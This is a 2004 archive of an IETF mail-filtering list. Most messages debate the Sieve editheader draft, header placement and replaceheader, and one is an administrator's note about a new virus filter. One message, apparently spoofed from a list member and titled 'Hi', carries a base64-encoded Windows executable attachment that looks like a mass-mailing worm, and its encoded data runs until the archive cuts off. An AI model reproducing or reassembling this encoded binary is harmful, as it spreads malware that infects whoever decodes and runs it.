foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0KLrlEm029889 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Tue, 20 Jan 2004 13:53:47 -0800 (PST) Received: from jutta.sendmail.com ([10.210.112.12]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0KLrkF2021682; Tue, 20 Jan 2004 13:53:47 -0800 Received: by jutta.sendmail.com (Postfix, from userid 500) id 77C1E17995; Tue, 20 Jan 2004 13:53:28 -0800 (PST) Date: Tue, 20 Jan 2004 13:53:28 -0800 From: Jutta Degener <jutta@sendmail.com> To: "Matthew Elvey (FM)" <matthew@elvey.fastmail.fm> Cc: ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action Message-ID: <20040120215328.GA1785@jutta.sendmail.com> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> <20040115235535.GM28467@iridium.mv.net> <400D8637.2050805@elvey.fastmail.fm> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <400D8637.2050805@elvey.fastmail.fm> User-Agent: Mutt/1.3.24i Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> On Tue, Jan 20, 2004 at 11:49:11AM -0800, Matthew Elvey (FM) wrote: > I'd like to see this go away: > > > A message modified by addheader or deleteheader MUST NOT > > be considered the same as the original message unless it > > matches the original message exactly. At this point, I'd like to throw this out as well. Anyone have a compelling reason not to? Personally, I'd like it to be replaced by an explicit statement saying that these added headers do *not* make the message different. Should we say that [ ] the first fileinto wins, say that [ ] any one fileinto may win (but it has to be one of the actual fileintos - can't have just half the headers or additional headers), [ ] the last fileinto wins, [ ] or leave it completely open? I'd like one of the first three -- I think if it is one of the fourth, it starts weakening the connection between message modification and message use, and I'd like that connection to be a strong one. > I'd like to see replaceheader reconsidered for the spec, or at least any > objections to it made public; the standards-setting process must be public. As I remember it, Ned Freed was vocal and clear on the list about his intention to do everything in his powers to stop replaceheader, to general mumbling approval. Maybe I misinterpreted something? Jutta Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KKVVib085161; Tue, 20 Jan 2004 12:31:31 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0KKVVQh085160; Tue, 20 Jan 2004 12:31:31 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KKVUib085154 for <ietf-mta-filters@imc.org>; Tue, 20 Jan 2004 12:31:30 -0800 (PST) (envelope-from daboo@cyrusoft.com) Received: from socrates.cyrusoft.com (socrates.cyrusoft.com [63.163.82.24]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i0KKVP0X025524 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Jan 2004 15:31:26 -0500 Date: Tue, 20 Jan 2004 15:31:38 -0500 From: Cyrus Daboo <daboo@cyrusoft.com> To: "Matthew Elvey (FM)" <matthew@elvey.fastmail.fm>, ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action Message-ID: <63905.1074612698@socrates.cyrusoft.com> In-Reply-To: <54728.1074611459@socrates.cyrusoft.com> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> <20040115235535.GM28467@iridium.mv.net> <400D8637.2050805@elvey.fastmail.fm> <54728.1074611459@socrates.cyrusoft.com> X-Mailer: Mulberry/3.1.1 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on darius.cyrusoft.com Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> Hi Cyrus, --On Tuesday, January 20, 2004 15:10 -0500 Cyrus Daboo <daboo@cyrusoft.com> wrote: | but I think its reasonable that append is the default. I meant to say that I think it is reasonable that append (:last) is available as an option - I don't want to argue that it should be the default. I personally would likely always use :last as I frequently have to examine the chain of Received headers for debugging purposes and having other headers interspersed would be annoying. Right now the CMU sieve implementation does add an X-CMU-Sieve header and that does appear before the final delivery Received header as their SIEVE implementation sits between SMTP and LMPT. -- Cyrus Daboo Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KKAqib083406; Tue, 20 Jan 2004 12:10:52 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0KKAq1U083405; Tue, 20 Jan 2004 12:10:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KKApib083397 for <ietf-mta-filters@imc.org>; Tue, 20 Jan 2004 12:10:51 -0800 (PST) (envelope-from daboo@cyrusoft.com) Received: from socrates.cyrusoft.com (socrates.cyrusoft.com [63.163.82.24]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i0KKAk0X024954 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Jan 2004 15:10:48 -0500 Date: Tue, 20 Jan 2004 15:10:59 -0500 From: Cyrus Daboo <daboo@cyrusoft.com> To: "Matthew Elvey (FM)" <matthew@elvey.fastmail.fm>, ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action Message-ID: <54728.1074611459@socrates.cyrusoft.com> In-Reply-To: <400D8637.2050805@elvey.fastmail.fm> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> <20040115235535.GM28467@iridium.mv.net> <400D8637.2050805@elvey.fastmail.fm> X-Mailer: Mulberry/3.1.1 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on darius.cyrusoft.com Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> Hi Matthew, --On Tuesday, January 20, 2004 11:49 -0800 "Matthew Elvey (FM)" <matthew@elvey.fastmail.fm> wrote: | Let's keep it simple. Wow, I'm not aware there's good precedent for MUAs | appending instead of prepending. I thought they prepended, like good | MTAs do. I'd like to see addheader put the added header at the top, where | new headers are *supposed* to go (or so I thought), anyone have a | compelling real case where :last is needed? Most of the mailing list software I have come across appends List- headers rather than prepends them. Same thing for anti-spam/anti-virus warnings etc. One can argue whether those types of tools are MUAs or MTAs by some definition, but I think its reasonable that append is the default. -- Cyrus Daboo Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KJxXib082349; Tue, 20 Jan 2004 11:59:33 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0KJxXe7082347; Tue, 20 Jan 2004 11:59:33 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from [63.202.92.157] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KJxVic082340 for <ietf-mta-filters@imc.org>; Tue, 20 Jan 2004 11:59:32 -0800 (PST) (envelope-from phoffman@imc.org) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: <p06020422bc333907a580@[63.202.92.157]> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to <http://www.habeas.com/report>. Date: Tue, 20 Jan 2004 11:59:30 -0800 To: ietf-mta-filters@imc.org From: Paul Hoffman / IMC <phoffman@imc.org> Subject: ADMINISTRIVIA: Hopefully no more Windows viruses Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> Greetings again. I have just installed a procmail filter on this list that should prevent Windows viruses from getting to the mailing list. It won't prevent them all, so you need to continue to remember not to execute stuff that you receive from this (or any!) mailing list. --Paul Hoffman, Director --Internet Mail Consortium Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KJnEib081581; Tue, 20 Jan 2004 11:49:14 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0KJnErN081580; Tue, 20 Jan 2004 11:49:14 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KJnCib081571 for <ietf-mta-filters@imc.org>; Tue, 20 Jan 2004 11:49:13 -0800 (PST) (envelope-from matthew@elvey.fastmail.fm) X-Sasl-enc: wkaBgXdILaONl5ZEi+4Ksg 1074628152 Received: from elvey.fastmail.fm (adsl-63-195-86-147.dsl.snfc21.pacbell.net [63.195.86.147]) by mail.messagingengine.com (Postfix) with ESMTP id 84AEA4B09FD for <ietf-mta-filters@imc.org>; Tue, 20 Jan 2004 14:49:11 -0500 (EST) Message-ID: <400D8637.2050805@elvey.fastmail.fm> Date: Tue, 20 Jan 2004 11:49:11 -0800 From: "Matthew Elvey (FM)" <matthew@elvey.fastmail.fm> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> <20040115235535.GM28467@iridium.mv.net> In-Reply-To: <20040115235535.GM28467@iridium.mv.net> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to <http://www.habeas.com/report/>. Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> My belated two cents - just that; I don't feel strongly; no responses necessary. Let's keep it simple. Wow, I'm not aware there's good precedent for MUAs appending instead of prepending. I thought they prepended, like good MTAs do. I'd like to see addheader put the added header at the top, where new headers are *supposed* to go (or so I thought), anyone have a compelling real case where :last is needed? I'd like to see this go away: > A message modified by addheader or deleteheader MUST NOT > be considered the same as the original message unless it > matches the original message exactly. I'd like to see replaceheader reconsidered for the spec, or at least any objections to it made public; the standards-setting process must be public. This does apply the KISS principle because it'll mean an otherwise imminent vendor-specific implementation will be unnecessary. ****** FYI: Progress is being made on the draft for the "refuse" action; Alexey and I should post a draft soon; we've worked through a bunch of issues already. Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0K9i6ib043356; Tue, 20 Jan 2004 01:44:06 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0K9i6g0043354; Tue, 20 Jan 2004 01:44:06 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from os ([61.11.18.143]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0K9i1ic043318 for <ietf-mta-filters@imc.org>; Tue, 20 Jan 2004 01:44:03 -0800 (PST) (envelope-from jutta@sendmail.com) Date: Tue, 20 Jan 2004 15:13:19 +0530 To: ietf-mta-filters@imc.org Subject: Hi From: jutta@sendmail.com Message-ID: <iqrttmvpfohsvwkooya@sendmail.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------403654051214462" Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> ----------403654051214462 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) ptexgfqjwdms -- Test, yep. ----------403654051214462 Content-Type: application/x-msdownload; name="fys.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="kjw.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 